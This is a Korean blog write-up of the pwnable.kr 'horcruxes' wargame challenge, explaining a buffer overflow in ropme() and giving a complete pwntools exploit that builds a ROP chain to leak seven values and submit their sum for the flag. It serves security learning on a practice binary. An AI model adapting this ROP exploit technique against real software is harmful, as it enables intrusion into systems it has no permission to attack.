본문 바로가기
Wargame/pwnable.kr

pwnable.kr horcruxes

by morae23 2019. 3. 6.

[Toddler's Bottle]

pwnable.kr horcruxes


아래와 같은 2개의 파일을 볼 수 있다.



32비트임을 알 수 있다.



먼저 main() 은 아래와 같다.




ropme() 함수의 일부를 보면 아래와 같이 플래그를 주는 부분이 존재한다.

이 때, sum과 같은 값을 입력해야 플래그가 출력된다.




s에서 overflow가 발생한다.


sum은 init_ABCDEFG() 함수 내부에서 확인할 수 있다.

a, b, c, d, e, f, g를 더한 값이다.



여기서 다시 ropme() 함수를 보면 A(), B(), C(), D(), E(), F(), G()를 호출하는 부분을 볼 수 있다.



각각의 함수 내부에서 대응되는 변수의 값들을 출력 해준다.



따라서 rop를 이용하여 A(), B(), C(), D(), E(), F(), G()에서 출력되는 a, b, c, d, e, f, g 값을 가져와 더한 값을 입력해주면 된다.




익스 코드는 아래와 같다.


# dpkg --add-architecture i386

# apt-get update

# apt install libseccomp-dev:i386


from pwn import *


# p = process('./horcruxes')

p = remote('localhost', 9032)


func_A = p32(0x809fe4b)

func_B = p32(0x809fe6a)

func_C = p32(0x809fe89)

func_D = p32(0x809fea8)

func_E = p32(0x809fec7)

func_F = p32(0x809fee6)

func_G = p32(0x809ff05)

call_rop_me = p32(0x0809fffc)


p.readuntil(':')

p.sendline('1')


payload = func_A + func_B + func_C + func_D + func_E + func_F + func_G + call_rop_me


p.readuntil(':')

p.sendline('A'*116 + 'B'*4 + payload)

p.readline()


ret_A = int(p.readline().split('EXP +')[1][:-2])

ret_B = int(p.readline().split('EXP +')[1][:-2])

ret_C = int(p.readline().split('EXP +')[1][:-2])

ret_D = int(p.readline().split('EXP +')[1][:-2])

ret_E = int(p.readline().split('EXP +')[1][:-2])

ret_F = int(p.readline().split('EXP +')[1][:-2])

ret_G = int(p.readline().split('EXP +')[1][:-2])


sum = ret_A + ret_B + ret_C + ret_D + ret_E + ret_F + ret_G


p.readuntil(':')

p.sendline('1')


p.readuntil(':')

p.sendline(str(sum))


p.interactive()











'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr [Rookiss] simple login  (0) 2019.05.14
pwnable.kr unlink  (0) 2019.03.12
pwnable.kr uaf  (0) 2019.02.21
pwnable.kr memcpy  (0) 2019.02.13
pwnable.kr blukat  (0) 2019.02.11

댓글